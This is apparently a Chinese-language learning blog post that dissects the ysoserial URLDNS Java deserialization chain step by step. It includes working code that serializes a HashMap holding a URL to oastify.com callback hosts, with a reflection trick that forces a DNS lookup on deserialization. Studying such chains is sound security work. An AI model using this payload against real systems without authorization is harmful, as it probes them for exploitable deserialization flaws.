我入门的第一条链子,我们可以直接从ysoserial里面链子进行分析
我们构建好环境开始分析,我这里用的是java 8u65版本,任意版本都可以
URL.hashCode()
那么我们直接从最底下的hashCode
开始看
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
这里面调用了一个handler
的hashCode()
我们跟进去看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| protected int hashCode(URL u) { int h = 0;
String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode();
InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); }
String file = u.getFile(); if (file != null) h += file.hashCode();
if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort();
String ref = u.getRef(); if (ref != null) h += ref.hashCode();
return h; }
|
那么我们最终要掉用的函数就是getHostAddress
了,看简介就是进行一次访问的,这条链的目的就是用于测试一个攻击点是否可以用反序列化攻击
Get the IP address of our host. An empty host field or a DNS failure will result in a null return.
我们简单测试一下
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
import java.net.MalformedURLException; import java.net.URL;
public class Main { public static void main(String[] args) throws MalformedURLException { URL url=new URL("http://rni5ssk3vjwz6l7kzf113aezpqvhj97y.oastify.com"); url.hashCode(); } }
|
我们能再bp里面收到一条记录,说明成功访问到了

我们的目的是要反序列化的,也就是说我们要找一层一层调用能调用到带有重写readObject
方法的类
知道这条链是干什么的我们就可以开始回到hashCode
开始跟了,我们需要找可以利用的类也调用了hashCode
这个同名函数,这么说可能有点懵,我们看上面ysoserial
里的链子是HashMap.hash()
,我们也可以按两下shift找到同名调用函数
HashMap.hash()
找到HashMap.hashCode()
后我们看一下
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
这里面调用了hashCode
,那么我们的目标是让key=URL
才行,我们试一下直接调用,发现是调用不了的我们要通过类名进行调用,那么直接调用是不行了,不过我们可以看一下HashMap里肯定有调用这个方法的地方,同样是find us找到
那么就进到ysoseri里的HashMap.putVal()
HashMap.putVal()
我们看一下源码put调用了putVal同时调用了hash
1 2 3
| public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
|
还是public那么我们就可以调试一下看一下了
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws MalformedURLException { URL url=new URL("http://g1iu6hys98aokal9d4fqhzso3f96xzlo.oastify.com"); HashMap hashMap=new HashMap<>(); hashMap.put(url,1); } }
|
成功解析到dns
那么我们能成功调用到之后我们就要开始找readObject
了,我们能看见正好hashmap就有一个readObject
HashMap.readObject()
里面具体写的什么不用管,知道有readObject
了直接开始序列化就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package org.example;
import java.io.*; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
我们发现并没有收到请求,我们再URL.hashCode
打个断点进去调试一下看看,我们发现hashCode的值不是-1,所以直接走到return里面了,没有执行hashcode,所以我们要想办法吧hashCode的值改成-1,那么在运行中修改值就是需要反射进行在运行中修改了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example;
import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap;
public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { URL url=new URL("http://w1ya6xy89oa4kqlpdkf6hfs43v9mxhl6.oastify.com"); Field f=Class.forName("java.net.URL").getDeclaredField("hashCode"); HashMap hashMap=new HashMap<>(); hashMap.put(url,1); f.setAccessible(true); f.set(url,-1); serialize(hashMap);
} public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功收到